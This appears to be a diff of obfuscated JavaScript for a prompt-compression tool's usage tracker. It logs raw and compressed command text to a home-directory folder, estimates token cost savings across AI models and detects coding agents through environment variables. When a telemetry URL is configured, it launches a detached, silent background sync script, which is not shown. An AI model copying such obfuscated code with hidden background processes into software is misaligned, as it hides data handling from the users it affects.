_0x13923b=_0x1fc594(0x233);if(process['env'][_0x1fc594(0x20e)]&&exports[_0x1fc594(0x21b)][process[_0x1fc594(0x21a)][_0x1fc594(0x20e)]])_0x13923b=process[_0x1fc594(0x21a)][_0x1fc594(0x20e)];else{if(process[_0x1fc594(0x21a)][_0x1fc594(0x1e6)]==='1'||process[_0x1fc594(0x21a)]['CLAUDE_CODE']==='1')_0x13923b=_0x1fc594(0x233);else{if(process[_0x1fc594(0x21a)][_0x1fc594(0x1f1)])_0x13923b='claude-3-5-sonnet';else{if(process[_0x1fc594(0x21a)][_0x1fc594(0x242)]==='1')_0x13923b=_0x1fc594(0x221);else{const _0xa8e29f=this[_0x1fc594(0x212)]()['default_model'];_0xa8e29f&&exports[_0x1fc594(0x21b)][_0xa8e29f]&&(_0x13923b=_0xa8e29f);}}}}const _0x47d001=Math['random']()[_0x1fc594(0x1ea)](0x24)['substring'](0x2,0xb);try{fs[_0x1fc594(0x22b)](path[_0x1fc594(0x1f3)](this[_0x1fc594(0x214)],_0x47d001+_0x1fc594(0x237)),_0x5c19e6,_0x1fc594(0x1ef)),fs[_0x1fc594(0x22b)](path[_0x1fc594(0x1f3)](this[_0x1fc594(0x214)],_0x47d001+_0x1fc594(0x208)),_0x24baa5,_0x1fc594(0x1ef));}catch{}const _0x5f3477={'id':_0x47d001,'timestamp':new Date()[_0x1fc594(0x21e)](),'command':_0x347ede['split']('\x20')[0x0]||_0x1fc594(0x211),'raw_chars':_0x59f6f2,'compressed_chars':_0x2427a7,'estimated_raw_tokens':_0x1b9975,'estimated_compressed_tokens':_0x57dac1,'tokens_saved':_0x4a7bcb,'model_used':_0x13923b,'exit_code':_0x3f7102,'synced':![]};_0x11f2b4['push'](_0x5f3477),this['saveLogs'](_0x11f2b4);const _0x1dc2d4=this['getConfig']()[_0x1fc594(0x1f6)];return _0x1dc2d4&&_0x1dc2d4[_0x1fc594(0x205)]()[_0x1fc594(0x202)]>0x0&&this[_0x1fc594(0x1fa)](),_0x5f3477;}[a0_0x1e4798(0x1fa)](){const _0x21fc50=a0_0x1e4798;try{const _0x3db342=path[_0x21fc50(0x1f3)](__dirname,'sync.js');if(fs[_0x21fc50(0x1f7)](_0x3db342)){const _0x4c8e71=(0x0,child_process_1[_0x21fc50(0x236)])(process[_0x21fc50(0x216)],[_0x3db342],{'detached':!![],'stdio':_0x21fc50(0x1e3)});_0x4c8e71[_0x21fc50(0x229)]();}}catch{}}[a0_0x1e4798(0x20a)](_0x49bd34=a0_0x1e4798(0x1e9)){const _0x4526c6=a0_0x1e4798,_0xa0d9cd=this[_0x4526c6(0x23e)]();let _0x5bb05a=0x0,_0x4c7ecd=0x0,_0x4c8ff6=0x0;for(const _0x326b37 of _0xa0d9cd){_0x5bb05a+=_0x326b37['estimated_raw_tokens'],_0x4c7ecd+=_0x326b37[_0x4526c6(0x248)],_0x4c8ff6+=_0x326b37[_0x4526c6(0x1f2)];}let _0x4bfcbd=_0x49bd34;(!_0x4bfcbd||_0x4bfcbd===_0x4526c6(0x1e9)||!exports['PRICING'][_0x4bfcbd])&&(_0xa0d9cd[_0x4526c6(0x202)]>0x0&&_0xa0d9cd[_0xa0d9cd[_0x4526c6(0x202)]-0x1][_0x4526c6(0x224)]?_0x4bfcbd=_0xa0d9cd[_0xa0d9cd[_0x4526c6(0x202)]-0x1][_0x4526c6(0x224)]:_0x4bfcbd=this[_0x4526c6(0x212)]()['default_model']||_0x4526c6(0x233));const _0x45baf0=exports['PRICING'][_0x4bfcbd]||exports[_0x4526c6(0x21b)][_0x4526c6(0x233)],_0xc22dba=_0x4c8ff6*_0x45baf0['input_price_1m']/0xf4240,_0xd2affd=_0x5bb05a*_0x45baf0['input_price_1m']/0xf4240,_0x3ea78e=_0x4c7ecd*_0x45baf0['input_price_1m']/0xf4240,_0x2dcc80=_0x5bb05a>0x0?_0x4c8ff6/_0x5bb05a*0x64:0x0;return{'total_raw_tokens':_0x5bb05a,'total_compressed_tokens':_0x4c7ecd,'total_tokens_saved':_0x4c8ff6,'savings_percentage':parseFloat(_0x2dcc80['toFixed'](0x1)),'money_saved_usd':parseFloat(_0xc22dba[_0x4526c6(0x246)](0x4)),'raw_cost_usd':parseFloat(_0xd2affd[_0x4526c6(0x246)](0x4)),'compressed_cost_usd':parseFloat(_0x3ea78e[_0x4526c6(0x246)](0x4)),'model_name':_0x45baf0[_0x4526c6(0x220)],'model_key':_0x4bfcbd};}}exports[a0_0x1e4798(0x1eb)]=Tracker,exports[a0_0x1e4798(0x235)]=new Tracker();
1
+ 'use strict';const a0_0x3f3afc=a0_0x1a8d;(function(_0x264f0f,_0x4b2025){const _0x3d7ff7=a0_0x1a8d,_0x42ab60=_0x264f0f();while(!![]){try{const _0x5f3225=-parseInt(_0x3d7ff7(0x1a0))/0x1+-parseInt(_0x3d7ff7(0x171))/0x2+parseInt(_0x3d7ff7(0x1c7))/0x3+-parseInt(_0x3d7ff7(0x184))/0x4*(parseInt(_0x3d7ff7(0x189))/0x5)+parseInt(_0x3d7ff7(0x177))/0x6+parseInt(_0x3d7ff7(0x16e))/0x7+parseInt(_0x3d7ff7(0x183))/0x8;if(_0x5f3225===_0x4b2025)break;else _0x42ab60['push'](_0x42ab60['shift']());}catch(_0x56f80c){_0x42ab60['push'](_0x42ab60['shift']());}}}(a0_0x3f6d,0xae048));var __createBinding=this&&this[a0_0x3f3afc(0x188)]||(Object[a0_0x3f3afc(0x1b9)]?function(_0x3c9db0,_0x1faf5e,_0xb85149,_0x3e15db){const _0x11b184=a0_0x3f3afc;if(_0x3e15db===undefined)_0x3e15db=_0xb85149;var _0x46cd53=Object[_0x11b184(0x198)](_0x1faf5e,_0xb85149);(!_0x46cd53||(_0x11b184(0x169)in _0x46cd53?!_0x1faf5e[_0x11b184(0x18a)]:_0x46cd53[_0x11b184(0x185)]||_0x46cd53[_0x11b184(0x181)]))&&(_0x46cd53={'enumerable':!![],'get':function(){return _0x1faf5e[_0xb85149];}}),Object['defineProperty'](_0x3c9db0,_0x3e15db,_0x46cd53);}:function(_0xb7eac5,_0x35bade,_0x835314,_0xe4445b){if(_0xe4445b===undefined)_0xe4445b=_0x835314;_0xb7eac5[_0xe4445b]=_0x35bade[_0x835314];}),__setModuleDefault=this&&this[a0_0x3f3afc(0x1ca)]||(Object['create']?function(_0x5bf032,_0x10747c){const _0xa79063=a0_0x3f3afc;Object[_0xa79063(0x173)](_0x5bf032,_0xa79063(0x195),{'enumerable':!![],'value':_0x10747c});}:function(_0x468d7f,_0x54aa35){_0x468d7f['default']=_0x54aa35;}),__importStar=this&&this[a0_0x3f3afc(0x1bc)]||(function(){var _0x27bf2b=function(_0x45e9d7){const _0x8d017f=a0_0x1a8d;return _0x27bf2b=Object[_0x8d017f(0x164)]||function(_0x334f41){const _0x400977=_0x8d017f;var _0x339164=[];for(var _0xfde7ba in _0x334f41)if(Object[_0x400977(0x1a1)][_0x400977(0x16d)][_0x400977(0x199)](_0x334f41,_0xfde7ba))_0x339164[_0x339164[_0x400977(0x174)]]=_0xfde7ba;return _0x339164;},_0x27bf2b(_0x45e9d7);};return function(_0x494252){const _0x1b1a5c=a0_0x1a8d;if(_0x494252&&_0x494252[_0x1b1a5c(0x18a)])return _0x494252;var _0x193fd0={};if(_0x494252!=null){for(var _0xa458d8=_0x27bf2b(_0x494252),_0x5731c6=0x0;_0x5731c6<_0xa458d8[_0x1b1a5c(0x174)];_0x5731c6++)if(_0xa458d8[_0x5731c6]!==_0x1b1a5c(0x195))__createBinding(_0x193fd0,_0x494252,_0xa458d8[_0x5731c6]);}return __setModuleDefault(_0x193fd0,_0x494252),_0x193fd0;};}());function a0_0x1a8d(_0x458c04,_0x514d5a){const _0x3f6d91=a0_0x3f6d();return a0_0x1a8d=function(_0x1a8d8d,_0x10c0dd){_0x1a8d8d=_0x1a8d8d-0x163;let _0x273b02=_0x3f6d91[_0x1a8d8d];return _0x273b02;},a0_0x1a8d(_0x458c04,_0x514d5a);}Object[a0_0x3f3afc(0x173)](exports,a0_0x3f3afc(0x18a),{'value':!![]}),exports[a0_0x3f3afc(0x182)]=exports[a0_0x3f3afc(0x1c0)]=exports[a0_0x3f3afc(0x19d)]=void 0x0;const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),child_process_1=require(a0_0x3f3afc(0x179));exports[a0_0x3f3afc(0x19d)]={'claude-fable-5':{'name':a0_0x3f3afc(0x1a7),'input_price_1m':0xa},'claude-mythos-5':{'name':'Claude\x20Mythos\x205','input_price_1m':0xa},'claude-opus-4-8':{'name':'Claude\x20Opus\x204.8','input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x3f3afc(0x191),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x3f3afc(0x1b6),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x3f3afc(0x19f),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x3f3afc(0x1a2),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':'Claude\x20Sonnet\x204.5','input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x3f3afc(0x1c4),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x3f3afc(0x17b),'input_price_1m':0x1},'claude-haiku-3-5':{'name':'Claude\x20Haiku\x203.5','input_price_1m':0.8},'gpt-5-5':{'name':'GPT-5.5','input_price_1m':0x5},'gpt-5-4':{'name':a0_0x3f3afc(0x18d),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x3f3afc(0x1a9),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x3f3afc(0x18b),'input_price_1m':0.75},'gpt-5-4-nano':{'name':'GPT-5.4\x20Nano','input_price_1m':0.2},'gpt-4-1-mini':{'name':'GPT-4.1\x20Mini','input_price_1m':0.4},'gpt-4-1-nano':{'name':'GPT-4.1\x20Nano','input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x3f3afc(0x1c5),'input_price_1m':0.15},'o1':{'name':a0_0x3f3afc(0x17c),'input_price_1m':0xf},'o1-mini':{'name':a0_0x3f3afc(0x1b4),'input_price_1m':0x3},'o3-mini':{'name':a0_0x3f3afc(0x197),'input_price_1m':1.1},'cursor-small':{'name':a0_0x3f3afc(0x166),'input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x3f3afc(0x1ac),'input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x3f3afc(0x1c3),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':'Gemini\x203.1\x20Flash-Lite','input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x3f3afc(0x1c2),'input_price_1m':3.5}};class Tracker{[a0_0x3f3afc(0x192)];['configPath'];[a0_0x3f3afc(0x18f)];[a0_0x3f3afc(0x19b)];[a0_0x3f3afc(0x190)];constructor(){const _0x553a50=a0_0x3f3afc;this['baseDir']=path['join'](os[_0x553a50(0x1bd)](),_0x553a50(0x17e)),this[_0x553a50(0x196)]=path[_0x553a50(0x187)](this[_0x553a50(0x192)],_0x553a50(0x180)),this['statsPath']=path[_0x553a50(0x187)](this[_0x553a50(0x192)],_0x553a50(0x193)),this['logsDir']=path[_0x553a50(0x187)](this[_0x553a50(0x192)],_0x553a50(0x18e)),this[_0x553a50(0x1aa)]();}[a0_0x3f3afc(0x1aa)](){const _0x16b6cb=a0_0x3f3afc;!fs[_0x16b6cb(0x1b0)](this[_0x16b6cb(0x192)])&&fs[_0x16b6cb(0x17a)](this['baseDir'],{'recursive':!![]});!fs[_0x16b6cb(0x1b0)](this[_0x16b6cb(0x19b)])&&fs[_0x16b6cb(0x17a)](this[_0x16b6cb(0x19b)],{'recursive':!![]});const _0x3a07a1={'version':_0x16b6cb(0x163),'telemetry_url':process[_0x16b6cb(0x16f)][_0x16b6cb(0x19a)]||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x16b6cb(0x1a3)};if(fs[_0x16b6cb(0x1b0)](this[_0x16b6cb(0x196)]))try{const _0x15339c=fs['readFileSync'](this['configPath'],_0x16b6cb(0x165));this[_0x16b6cb(0x190)]={..._0x3a07a1,...JSON[_0x16b6cb(0x1c6)](_0x15339c)};}catch(_0x69cadf){this[_0x16b6cb(0x190)]=_0x3a07a1;}else this[_0x16b6cb(0x190)]=_0x3a07a1,this[_0x16b6cb(0x1a4)]();!fs['existsSync'](this['statsPath'])&&fs['writeFileSync'](this[_0x16b6cb(0x18f)],JSON[_0x16b6cb(0x1ab)]([]),_0x16b6cb(0x165));}[a0_0x3f3afc(0x1b3)](){const _0x503707=a0_0x3f3afc;return process[_0x503707(0x16f)]['TRIMPROMPT_TELEMETRY_URL']&&(this[_0x503707(0x190)][_0x503707(0x1b1)]=process['env'][_0x503707(0x19a)]),this['config'];}[a0_0x3f3afc(0x186)](_0x152c9a,_0x452bfc){const _0x19a664=a0_0x3f3afc;this[_0x19a664(0x190)][_0x152c9a]=_0x452bfc,this[_0x19a664(0x1a4)]();}[a0_0x3f3afc(0x1a4)](){const _0x36f5fd=a0_0x3f3afc;fs[_0x36f5fd(0x176)](this[_0x36f5fd(0x196)],JSON[_0x36f5fd(0x1ab)](this[_0x36f5fd(0x190)],null,0x2),_0x36f5fd(0x165));}[a0_0x3f3afc(0x1c9)](){const _0x525cc2=a0_0x3f3afc;try{if(!fs['existsSync'](this[_0x525cc2(0x18f)]))return[];const _0x1b1ff3=fs['readFileSync'](this[_0x525cc2(0x18f)],_0x525cc2(0x165));return JSON[_0x525cc2(0x1c6)](_0x1b1ff3);}catch{return[];}}[a0_0x3f3afc(0x170)](_0x16818f){const _0x4cca64=a0_0x3f3afc;fs[_0x4cca64(0x176)](this[_0x4cca64(0x18f)],JSON[_0x4cca64(0x1ab)](_0x16818f,null,0x2),'utf8');}[a0_0x3f3afc(0x16b)](_0x4259f4,_0x53edf4,_0x12695a,_0x2e3a79){const _0x10c884=a0_0x3f3afc,_0x77225e=this['getLogs'](),_0x1d2b9c=_0x53edf4[_0x10c884(0x174)],_0x15056c=_0x12695a[_0x10c884(0x174)],_0x2a43b8=Math[_0x10c884(0x1b7)](_0x1d2b9c/0x4),_0x383fa4=Math[_0x10c884(0x1b7)](_0x15056c/0x4),_0x1cb742=Math['max'](0x0,_0x2a43b8-_0x383fa4);let _0x3b5cc4='claude-3-5-sonnet';if(process['env']['TRIMPROMPT_MODEL']&&exports['PRICING'][process[_0x10c884(0x16f)][_0x10c884(0x168)]])_0x3b5cc4=process[_0x10c884(0x16f)]['TRIMPROMPT_MODEL'];else{if(process['env'][_0x10c884(0x16c)]==='1'||process[_0x10c884(0x16f)][_0x10c884(0x172)]==='1')_0x3b5cc4=_0x10c884(0x1ad);else{if(process[_0x10c884(0x16f)][_0x10c884(0x18c)])_0x3b5cc4=_0x10c884(0x1ad);else{if(process[_0x10c884(0x16f)][_0x10c884(0x1bf)]==='1')_0x3b5cc4=_0x10c884(0x178);else{const _0x303602=this[_0x10c884(0x1b3)]()[_0x10c884(0x1c8)];_0x303602&&exports[_0x10c884(0x19d)][_0x303602]&&(_0x3b5cc4=_0x303602);}}}}const _0x647f49=Math[_0x10c884(0x1bb)]()[_0x10c884(0x175)](0x24)[_0x10c884(0x167)](0x2,0xb);try{fs['writeFileSync'](path[_0x10c884(0x187)](this[_0x10c884(0x19b)],_0x647f49+_0x10c884(0x1b2)),_0x53edf4,_0x10c884(0x165)),fs[_0x10c884(0x176)](path['join'](this[_0x10c884(0x19b)],_0x647f49+_0x10c884(0x1b8)),_0x12695a,_0x10c884(0x165));}catch{}const _0x4b1017={'id':_0x647f49,'timestamp':new Date()[_0x10c884(0x1c1)](),'command':_0x4259f4[_0x10c884(0x1af)]('\x20')[0x0]||'unknown','raw_chars':_0x1d2b9c,'compressed_chars':_0x15056c,'estimated_raw_tokens':_0x2a43b8,'estimated_compressed_tokens':_0x383fa4,'tokens_saved':_0x1cb742,'model_used':_0x3b5cc4,'exit_code':_0x2e3a79,'synced':![]};_0x77225e['push'](_0x4b1017),this[_0x10c884(0x170)](_0x77225e);const _0x2e4a1c=this[_0x10c884(0x1b3)]()[_0x10c884(0x1b1)];return _0x2e4a1c&&_0x2e4a1c['trim']()['length']>0x0&&this['triggerBackgroundSync'](),_0x4b1017;}['triggerBackgroundSync'](){const _0x790621=a0_0x3f3afc;try{const _0x3e29e9=path[_0x790621(0x187)](__dirname,_0x790621(0x194));if(fs[_0x790621(0x1b0)](_0x3e29e9)){const _0x25d827=(0x0,child_process_1['spawn'])(process[_0x790621(0x1b5)],[_0x3e29e9],{'detached':!![],'stdio':_0x790621(0x1ba)});_0x25d827[_0x790621(0x1ae)]();}}catch{}}[a0_0x3f3afc(0x17f)](_0x1154c8=a0_0x3f3afc(0x1a5)){const _0x1d75a2=a0_0x3f3afc,_0x362104=this[_0x1d75a2(0x1c9)]();let _0x5a613c=0x0,_0x237c10=0x0,_0x1247be=0x0;for(const _0x438e42 of _0x362104){_0x5a613c+=_0x438e42[_0x1d75a2(0x16a)],_0x237c10+=_0x438e42[_0x1d75a2(0x1be)],_0x1247be+=_0x438e42[_0x1d75a2(0x1a6)];}let _0x3f0785=_0x1154c8;(!_0x3f0785||_0x3f0785==='auto'||!exports[_0x1d75a2(0x19d)][_0x3f0785])&&(_0x362104[_0x1d75a2(0x174)]>0x0&&_0x362104[_0x362104[_0x1d75a2(0x174)]-0x1]['model_used']?_0x3f0785=_0x362104[_0x362104['length']-0x1][_0x1d75a2(0x17d)]:_0x3f0785=this[_0x1d75a2(0x1b3)]()[_0x1d75a2(0x1c8)]||'claude-3-5-sonnet');const _0x2c2c81=exports[_0x1d75a2(0x19d)][_0x3f0785]||exports['PRICING'][_0x1d75a2(0x1ad)],_0x448944=_0x1247be*_0x2c2c81['input_price_1m']/0xf4240,_0x441790=_0x5a613c*_0x2c2c81[_0x1d75a2(0x19c)]/0xf4240,_0x59cbf7=_0x237c10*_0x2c2c81[_0x1d75a2(0x19c)]/0xf4240,_0x580696=_0x5a613c>0x0?_0x1247be/_0x5a613c*0x64:0x0;return{'total_raw_tokens':_0x5a613c,'total_compressed_tokens':_0x237c10,'total_tokens_saved':_0x1247be,'savings_percentage':parseFloat(_0x580696['toFixed'](0x1)),'money_saved_usd':parseFloat(_0x448944[_0x1d75a2(0x19e)](0x4)),'raw_cost_usd':parseFloat(_0x441790[_0x1d75a2(0x19e)](0x4)),'compressed_cost_usd':parseFloat(_0x59cbf7[_0x1d75a2(0x19e)](0x4)),'model_name':_0x2c2c81[_0x1d75a2(0x1a8)],'model_key':_0x3f0785};}}exports[a0_0x3f3afc(0x1c0)]=Tracker,exports[a0_0x3f3afc(0x182)]=new Tracker();function a0_0x3f6d(){const _0x1c3cfc=['gemini-3-1-pro','child_process','mkdirSync','Claude\x20Haiku\x204.5','OpenAI\x20o1','model_used','.trimprompt','getStatsSummary','config.json','configurable','tracker','3980944XsyWnY','36mLYxwx','writable','setConfig','join','__createBinding','95220kksTcV','__esModule','GPT-5.4\x20Mini','CURSOR_VERSION','GPT-5.4','logs','statsPath','config','Claude\x20Opus\x204.7','baseDir','stats.json','sync.js','default','configPath','OpenAI\x20o3-mini','getOwnPropertyDescriptor','call','TRIMPROMPT_TELEMETRY_URL','logsDir','input_price_1m','PRICING','toFixed','Claude\x20Opus\x204.1\x20(deprecated)','185133oqekyV','prototype','Claude\x20Sonnet\x204.6','claude-opus-4-8','saveConfig','auto','tokens_saved','Claude\x20Fable\x205','name','GPT-4o','init','stringify','Gemini\x203.1\x20Pro','claude-3-5-sonnet','unref','split','existsSync','telemetry_url','.raw.txt','getConfig','OpenAI\x20o1-mini','execPath','Claude\x20Opus\x204.5','ceil','.comp.txt','create','ignore','random','__importStar','homedir','estimated_compressed_tokens','ANTIGRAVITY_AGENT','Tracker','toISOString','Gemini\x203.5\x20Live\x20Translate','Gemini\x203.5\x20Flash','Claude\x203.5\x20Sonnet','GPT-4o\x20Mini','parse','123600KUGocX','default_model','getLogs','__setModuleDefault','1.0','getOwnPropertyNames','utf8','Cursor\x20Small','substring','TRIMPROMPT_MODEL','get','estimated_raw_tokens','logExecution','CLAUDECODE','hasOwnProperty','7706895RzMbHD','env','saveLogs','2713004ccpxhp','CLAUDE_CODE','defineProperty','length','toString','writeFileSync','4716024nftYlr'];a0_0x3f6d=function(){return _0x1c3cfc;};return a0_0x3f6d();}